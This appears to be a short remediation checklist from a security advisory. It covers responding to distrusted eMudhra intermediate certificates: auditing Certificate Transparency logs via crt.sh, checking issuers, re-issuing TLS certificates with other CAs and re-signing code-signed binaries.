  1. Audit All Active Certificates: Search public Certificate Transparency logs for your domain names issued by eMudhra. Use the following crt.sh (alternatives if crt.sh is down) query in your browser or terminal:
    text
    1https://crt.sh/?q=%25.yourdomain.com&iCAID=emSign
  2. Identify the Issuing Sub-CA: Check the Issuer field of your active certificates. If your leaf certificates show an issuer matching any of the eight compromised intermediates (such as EM DV TLS CA - G3B or EM OV TLS CA - G3C), your certificates are actively being blocked by updated browsers and Go runtimes.
  3. Emergency Re-issuance: Immediately re-issue certificates or migrate to an alternate CA (such as Let’s Encrypt, GlobalSign, Google Trust Services, DigiCert, or Sectigo) and deploy fresh chains across load balancers and CDNs.
  4. Code Signing Audit: If your pipeline signs Windows binaries using EM OV CS CA - G3B or G3C, obtain a replacement certificate, rebuild release artifacts, and re-sign binaries with an authoritative RFC 3161 timestamp.

Sources